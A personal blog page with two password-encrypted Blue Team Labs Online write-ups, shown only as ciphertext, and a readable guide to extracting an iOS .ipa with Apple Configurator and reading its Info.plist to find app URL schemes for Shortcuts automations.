ZU5QGGJpCkWTAXGnugwtHBvZKTr0/5bJYWyqp6l8y4ypt4HvymYJ/RrijJeRfvg/rbCi+ilMzyRluawT3gMFawckStt5U5X6IdV1gcsc8+pIDgRpinivNOlDNkeidD3f3MFVhYSIqbNR5Wyxtf6BS8zGvgXheJtARbjbb/aguK/fBshJHehg9yRtM1qb6qQysg2aZfeekNdMmUqifIlRLbKq3pAvrUUtOxlUuK/N3ob+Az3g1qcY+yr8EA8KZH+IssJ7WzsC7k9nraanOQGDHv8ptSIF8LONalGc5SK9pyDRFoG3zbGu9Ie1q3hfpeZMB9kE1xFjzjq5WmYtJCXyBJ+fnn2Jc5Z5cVJ0CcSfH/M7UzPxR8/S6BdYXEWYhxI4aFeTEVRWip6W5rNLKDhf1gkEXaVno+XOIoygLrBkGkC11yi2Wrc2H38m7Po4mRR0O0RZOM8cV8gqWiJhW9okfbMTmaAI5+67ljPQYTu0HRSwwyQQ5SvmuXggswze7148cYOjoEAS+d0SvOhatCGkmJvYMbgkS//K5hIYJU00f0N68ZkG9fXrwdIfWtlIWYzJJgFJFi3dXOGUWhik4nBzD8mCG8rRwUmA4wD8FIF6yu+nPqeZ+/kMt0zxDx+ZPqDn674qnE+xebAG3mXMPXHSjYRDTnHDIzjjSy9rNfxjv+b6joxkYFjcnDdPyX/NqNGWTWaxgfWTCrwIjpud4C71jH4XTU9t71ipA7Bq6JS0nbuhbKEJm4615szbd6E/21eY5w81zQNtgLQ==;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO - Investigation: Exposed

2022-04-07T14:08:17-04:00

ec+lNDkG0qclMdOmsWNQDA==;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;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

Finding x-callback-url / Deep Link of iOS Apps

2022-04-01T14:56:06-04:00

I find often I like doing automations between apps. While you can use the Open App functionality with Shortcuts, trying to open an app from something like a Reminder requires a URL. This guide shows you how to get the iOS App from the App Store for investigation and then search through the file for the URL Scheme.

It would be worthwhile to check the following sites for any existing documentation on deep links or x-callback-urls before diving in yourself:

In this example, I am using my MacBook running macOS Monterey 12.3 with my iPhone 12 Pro Max running 15.4. The app we are going to look at is Tally by Reflectly ApS.

Getting an .ipa File (macOS only)

First we need to get a copy of the app for some light reverse engineering. The easiest way I have found comes from this 2019 Medium Article by Blazej SLEBODA, whose steps I have reproduced below:

1. Connect your device to your Mac and open Apple Configurator. Once the device loads, you can tap it on screen to load:

Our Device in Apple Configurator

2. On the top bar, Click the + Add button and click Apps. A new window will appear, sign in to your Apple account that contains the app you have already purchased/downloaded before:

3. Once signed in, choose the app you wish to have a copy of. It will begin downloading on your Mac.

4. Wait until it downloads and a screen appears like so:

Downloaded App, waitinf for futher instruction

Don't click anything! The location of the app can be found here:

~/Library/Group\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps

Navigate to it either in Finder (remove the \ from Group\ Containers) or in Terminal. It will be inside two more nested folders:

File

5. Copy this ipa to somewhere safe such as ~/Downloads. Now you may click Skip in Apple Configurator which will delete the file from this temp directory. Apple Configurator is no longer needed.

Opening the .ipa File

Using Terminal again, navigate to where you saved the file. So if it was in your Downloads, cd ~/Downloads. Next run the following to unzip the .ipa into a folder:

# the format is unzip app.ipa -d directory
$ unzip Tally\ 1.22.0.ipa -d AppFolder

Once finished, cd AppFolder to jump into the new extracted information (or look at it in Finder). In my case, there was a file in /Downloads/AppFolder/Payload/Tally.app. With finder, right-click and Show Package Contents or cd into it with Terminal.

Finding the Callback URL

The file we need is Info.plist. Open it in finder or display it in Terminal with cat Info.plist, you are looking for CFBundleURLSchemes:

....
    <key>CFBundleURLTypes</key>
    <array>
      <dict>
        <key>CFBundleURLName</key>
        <string></string>
        <key>CFBundleURLSchemes</key>
        <array>
          <string>db-w65wxt0sdd1hjk2</string>
        </array>
      </dict>
    </array>
....

In my case, I see db-w65wxt0sdd1hjk2. On our iPhone, we can open Safari to test by going to db-w65wxt0sdd1hjk2:// in the address bar

Our deeplink works!

Example 2 - Shortcuts App

Some apps have many options, as seen below with Apple's Shortcuts app. In this case, any one of the URL schemes will work in Safari / Shortcuts such as shortcuts:// or workflow://.

<dict>
        <key>CFBundleTypeRole</key>
        <string>Editor</string>
        <key>CFBundleURLName</key>
        <string>is.workflow.app.url-scheme</string>
        <key>CFBundleURLSchemes</key>
        <array>
          <string>shortcuts-production</string>
          <string>shortcuts</string>
          <string>workflow</string>
          <string>workflow000000</string>
          <string>workflow1B9AF7</string>
          <string>workflow7B72E9</string>
          <string>workflow49E845</string>
          <string>workflow55DAE1</string>
          <string>workflow3871DE</string>
          <string>workflow19BD03</string>
          <string>workflowA9A9A9</string>
          <string>workflowDB49D8</string>
          <string>workflowED4694</string>
          <string>workflowFD6631</string>
          <string>workflowFE9949</string>
          <string>workflowFEC418</string>
          <string>workflowFF4351</string>
          <string>workflowFFD426</string>
        </array>
</dict>

[Encrypted] BTLO - Challenge: ThePackage

2022-03-31T15:21:21-04:00

YFZOR0p7S6yfxqoCjOY7yA==;YcUery3Btc5useL5Pt4b1eFWuZDBqE4QgcUbauJ9sh+1MHdSUpLkeUo/fa7aqLRuRucwQhXEBhQLaMQ/QjYnUY928wQXa11WFjrpU3TpyFx2MlQjPUEWhY8gg6GcaE2I6481eQbdFIxHvAPSfOlqTMfPbiLF+bTezz+kkU6DIh2MV+HaaabdU7BYwaJkLnRlr2jJYJ6R9Pey56wXYgLqZsXhuYeq6My+s4M2jFVHWFt1NBhx85hUed1LdyPHjCtuv2aerisUBmdzp7VV4XiaSbbYpHXprqImeO/adeX/9wO5B7BWYcKghPASqnuV5YgiCcLSZj+/C5bW+FQaTYJp0+6FpqInUqoweJI4TpwN/8amV3RjFZW3UatCa8jE+6bro+6MHFVwgPY2XiKIjCECAlI2EZr1aI9q+yDsPMufdSZMFFg8J869L4xUg6zbFfJJ36JD09L+j2DG+atmgKKikKxie7iujQCQtTLVN8PCtCDy5InJozREgfVQarZEgxSONlTO1ebNIKtz1fHMUdEVAVBxoH4jnb9w3np0PwFZrHn9xfPMh6uPEJQ9gP8X7aeufAVYtO1hWn4lm/QhuAbpotiUTbl86ipa91EmKaLVT1YWdJr0+Xr/6kHYwM70IcLEBmFRfreNGmBAaJuv52HkKUJkOjVJuryg2iZ/hJryet9E02hV7QkPGbvDD8F7mOrU6CgECVSPLE8QAhcH2jc1JD1t1iZOsgGkbbPGVRIkmlPCXnzAcfuoOHl1GtCl4uKQsEcDUxzuv4BMaXrzLhPV6WOrx65V/2PzgiskroM80bn6jlfxgw26wschGiOBjX2R7qWvlqt1NTYcEbNIw4gMctk1uIEQDBc02Rj/w1R0ldxjGle2N9bKtEzkai6pD7KmY/p6ZZGbZJPO08udwbMDJXnNaEgA7dS4VZOEG0E+tf/HwIWyH/NxA8yCfwqdmbMQTB733yTKub+V147wNAqz9Mgkq0ApFcrV+CVSQEtdeRHw8ZT+Nee5lD4R3VLxX8RNA1YjwT/ZxEBgQTgBQ+gVS/9CrtO9HvabVSMgFITH7Z9mSVabTScHUM324rHVEoR9SSeEXgoN+EjySHPhCqA7p+ZwC7r4ZP53GNzNw4mxxRVR+ISi7dgD1SUgmH/IrLcO6NfpE3PLS8dP2xjV6PgXdgEW/xjLDe8t9EAkXX7T1WAo7QtKXu+y4c5k4/hXKTpQVaIs02lvNyiu9nKZP4NfiDrl+slTXWE/Pgn8FZzR1ytT6J5sJzR3PpRejVDTKaLf/q9VOP4aMYjqMrvO1q5gMfQz+3/otWzj4f0w0RHzcasR4CiLRYZ3Dx8OmjcvO+29+J5qlIZU99dKBJMeJjcIiscN/gB8SaR/jTU7aok5ErDW71swBYObGXQ1g4h4NP8+St+ukjjFJT5JzWNif5sStjO536bvVV+B91pMTe7q/p6qvIhokuQaoYGN3PwiOL2g7EOiDpjhW//vdpogWm6NrG8Q3a1a3zyMKIO8DDDrIYQuLPsp3Rv48zT/qOTFWcSO5eRnxd2y5iTlFLgbB7dtQs6Wey/4lMdk2NfAEU//2WVS1NxEO/Sh9IdgOuBGFsBerMWXcuUUbqplimiv0X1whdQcab97UXmUxxzOLRFvIgK/Z5opLRX03UJOwlgFS8ESUfPz7fVdKYinjyOQO4jksebCmJ/OlChIKtsYTDF8zn2QOr/pvYvFWpGYsoeXTKUtDlhlVKZ1I0t0JHu7pugng8xldLCjygb6vnFJqT4QbDuUi28aZsyz007HGsuBXHf0oFsizTUA6RfAo7IHadAeAG9hBr9CaepFHUQj9xOFamoW8gRyTxUYUJ2NtrE8ARGKC+9Y9KXy7+I7CFcAqHrDDwwd50Tnrl4DL19spU+oPzy5Rz1dQyfhRBY+a6d+FmftXp3YMx7WiWZe9oXu5uPENt3SVwZTN1GOOf+6fCv01AIeq3SPN7P+ozJN4jfPSAt+FavHHkaBwjOrOZYIVjbTw+HhBMteZ8wcrdkZl+zUSGdUjEx4eg6LRi1VHY5SHtZ1J86jhW5AuDEXW/uYbkKz1H3+TROpEp2goaSI4aN5+rqVHKMaTF10xz1TzfcXz1TcXLvhppy9VkE8bc207Epi6e7YzsUhq8kMSDy2VEVfOJ/tEdAPzJN8YZxAkpZESWf/inpF82RqgqOpcbIu99ER9j3U/ShVO7ZOLmMpbUj0mdJJpgWrYv26ocUlmw7qbqlYqYOsZY4CpfeXxj3aBdCFhfhM+FLiuEP90tAlwCiZei72dMqYMvRxLzpbc069sePX83aQ/odJpsYuIasa+KdARy38ldZKJjMkaapxN+xpfTzLeP0m7lKqHmZtPV8J40KsB3rDShUJQ0KpIHZe6eH/1+cuQENrEv/Q+PV8OgtNBiZxsfULse+no5J+r5Ea3sCe7v2OQaeQfl79rX3yobnnxvzn1ce4wKZba1Fh6wrU5THjgMMjxrM0CPUtGfYyZ5hjIgMyo2TGShA9vxjwgXywwC0JW9H27lWsuSxmNiaigdif0CbaB7KfbZNMpLjCB7OAis46q24GGPoAXyw39qrXrmsbLBcoKaFWv9jFwMMSKkkHuDOC56jtE+kVxXldpWoCbcH1dMaH/7TIJJvThjiviRB/osujSet0j9pdkmiUS6Qtdc7Xe+PaUDVxARrI+lwvjC8IB4Edxt/Y15KsleFp7tHHfq+nwtng/91K9kMr6ObXASO+2S/0Y+mCVYNPO4F9hBogugXFBbYrI+Vu6604ZDRGMoNbu2RWK9p4N1hlccc0rZFwgWu9fF2t+Va1zOf7zFDKyPdiWaZWkMvWQAYMLkXngFc8uw2z7dDxi6zhKnlo9IhYwCzK2zboZADyjWD/GHPvtthfuJKwQx9B13C3ZAJo3lagWyyVUY2be3krLjybHfzpb3tbr76hA2t6hXUDjDoHxBLAwujBS0S4nH77ktt3lfe1UEU+jTMXP/JJbuIa+rYanmXpXh1Y2jajfXj8WXgor5FWUjQrQoEY0VvPzCukcSdIXW8fOTWYC3KZKuDyirS/tHX99D9fxvJAzVlsRRQBXptI2Zn12BJEPvoZFfgpRmD+fM9QxIZqq50QWzpk+tuV6s46bT73eXT0cINolZZJN2ScOiAzZZBwBlTLOWt3Eo6H9k7aF07WYZO0MdU0vurKz4WCNvtJmvQNbnnDTLY5bf01knS6SuMR7nH9MbZWfXpD7nB2XPL2bUILuPoOx9F8pN6W05gHWuVCgLXiRmgd80wkNGLGBiMx3klfeUqN70sxZzhcag56pVB4C43vTyVCYyeP3gFLV3ATwyt5JO4esm3xc68BeHs2QlqX9NKNC0wHRLr61Zv5DKma/nYpeHnnPzCT0KCmpJsjxaGb5h1mzYvtyLb7KfnIK61JEGpFIXmwdkRbmylaool8AtjpzZowuMVhSGf8o43LsZJpxNR1E83cJ6wx/GDwj7wBaSGdsPhhphOGRfdYPqQ84139xQBkRqF0+ll5oC+9bDyHu6XqVH5ADqzGMU7M+2wvKnCRSqvHDqxCQYBfmc93cdREm0ZGwHei7gAI66rjvQTM3LOqWfw6Z+pnXPbjyy24VHEMgWBGj8DEOMbClgeVgU7iTIV2KXv33IrWMu8EerP6umTKTP0fkV0t6o3LCb0E4M4nz5ByvhSGD/qe9k/tiThAiVGuRZ1zeYpCldu75T/OFteCHwrIvspHB0MED1+Gx5mV4RsUVkxL3Rt1J/PDuiSrB3qn/v9FWiPaviTfreaboNDWevC7nR84QyBXVZHIWPkEyca3eLZ9BWRMkgualsaZbZqmUtnDWsbc1me6VTJEOfiCf/ST7nrUT+f1gy94LhrTHgFeykYUUwk3vx6c2EYaZqVz76znnEtpxz9PisGr1bdKh/KRQwrHjzCCc34JVP99KyFugUx884NKiLzbRJ7z/l0F+gMEdxtqH6Hxgd1akmOpv90uvJQUXieduD+YljUueVw3416/NrOO2vkF8dVa49ou5dDo1KCxvhkgxJ+Rruwo0yMK+CJhx0mU0bvTbAaUZZoFNh/0Rfsq3lFMxVjk9NVZfJv9CdnszYTC2CZ8SHM/SuYlinYEnElCYFUrExTOCWzFUAcenyNDjVCzD2dRS4oCg3Yz5bs6xD/GCeGUvQ69ahwZ/sIETCc2orefoUknjaw3DouSn6jmWjQxhFie7MyH+ArIG9SCBFljprui+Oufw5E9XbaAnKZRIq0GrJBkNxKqyiOwGvXKZtJPNp1KmTuMLxNUoZ+PqfqtjoVcq+MS/GE4x34ezkiKVsKj8i4bk7I5wTSokhLT4UYexSIUFyrHL5+1yNo9lNEZjjF2hg8svg2LFzS6++gs9K/vPL50OVBdPtA9mV6Xp2TCCStMFJSF8hp6MGIx6EbOCtM5bV+fJkI8mzIF/NqiA6CtDCkgyPf7AdS8/RxF949ThqcM+EW+MHg3NvkTIxcszuUCxfAB4NfARbqZsWccLYL7hqob+md+sNkvamXEhdvxc00vCq0IzAKoOyvF9KT6TpbCKBPsIvQXWOlboz7zaO4AAVQfq3ozRXw0O6WM0QKizxJTgZRSreK1ODTLjAUpMQbkH8rjinlrUEIBgvdnGHj7bWiiOh8/oOq8uvBNIMJovpi40OfSFJ2pOVixiVcbRKDCDkkyjGkIP/sce23sSmAGVrlm9eXDYUeu9DBxNvY4oi2zDeDfszxzeJJjvDt9zhr81gpf4Ej+23uNPaCWdvdtYMDqCKqRA1jfTQtHenxBMbQCC/qTTDHb8SYrzV4E1bqEtTHxz+RSB9yzOKRUrkZ45lVkg5edCZ8CGG08+d8aJaXDEvA6x5eq1tUYGw6T7sk0nGBY5KhOYNRUMBEVL2/kxErOh+dYAgdyWz177Eh7IuXzz2L8cKyIT5R9TP9PA1jFNKDvZwGqAgx9R2APEtYX5vMP68ianVTXumzo7QpE5phYSJmKqa5ZvAiZQ8eVfMwaFrjR2658j/ZB/UNwoGHeJFTpwdd2++xCdTXKtYhyxN9ehEm6FNier0SASPEYB+7PoRMep4K2mbtwil/85eIdTeLxgzeZqd5JhWpH7eZMBw8baqT0OrrLFMVtB/L/I9XbmkyGmUPQrp+1SQnb26899aBd54/2WqirFXh6BQoMJ5WWaFjrDcH0DWwiFcD8ZX+ejQs34xtQw4OxOTE1BfXKKZ0mc/r3H4K/+6snaDEkU+JmJU8R/6jl9ZTgzDFFY3tHOc6+kwkECKYryFEQnmVhe2/hbyzFHHWNoLK+pDhVyOw44oWRpx9m6bmVCd3+zvrFnORnXQbznOnaYA2udFQXjP2saPyMu4/jdOZGmUurYyidmJPiJJr9I1tNeoPP5KJeBatQEqfpCHYHR6EXCAT1JxFmWs2q6r7LXrJ2ZE9LzUk9dvzuMlY0mRoW6hiBsEQO62fscf54q4gerdNn5TZV+OWTMKpMkS8H7tTCJiru6DCJS8IOpmGj5RHHUdcWq2rv5kqcGQ1FWZx5y3E5h0u8Zi/OfK9JchigiMX0bCK/Nu5TdDN8ChJaTOI0YcWiQKP4HlKda8zqIoyDCRfTPPN/xjj0m8z84+ZUY+o/QHDxEWtAZgzy9WQ9LPcU8eE3nVA/tsqsC2DgYRcjmQSnQBJ/sIS+LsNajvro9rjSIvOodolTYTOLP589IvMptUmD+ATGw+XjKjnogiHKHRz/VGVwflTaGCYvR4NWaw/39H8UWc74QkjzYQ341b2ge29XoqYMoFOW8N73wv6gDbeffZuqoXq2PV0pFR2OF83cB/NZqJHPIEaXPixKQUj8F0ok1udGscQC+WFdIENRxZM5ggKWuBxHvlXrVKYq5aHjws3fd5C3/sOO1K3ocBQENuPk2Uj9YrKpJBgbuCaZFORM6YDXHWILVTg6YpGf1WQCltvWTO9VaO2J3He0J+rVRZSNUydpwiRk5OiVdr3Zu+3pRKcm+UnOTc1lU20JaodcHbbHuM4Kjoks47TnWpq99T472wejpPH0rqJQGyzmp5mtZN7URk+CTggDSHsfoIseUFLJsolTR7igOGWAGOSXxhqCAymjp5xcgl0hMYy0WvseyKrXWJVH7XyK9WM4eMVpQLb6gm4KR4MsroY4dvla5z3p5cvGm3Oukq7hMv5Mz+CDEc3NLrvOMWzWVf6JkgtLB67cajZNnGTCwkQJuj0CXtAWDc8MIPXkJe0V06ZRH2DV3rMAO3DEObF8csbya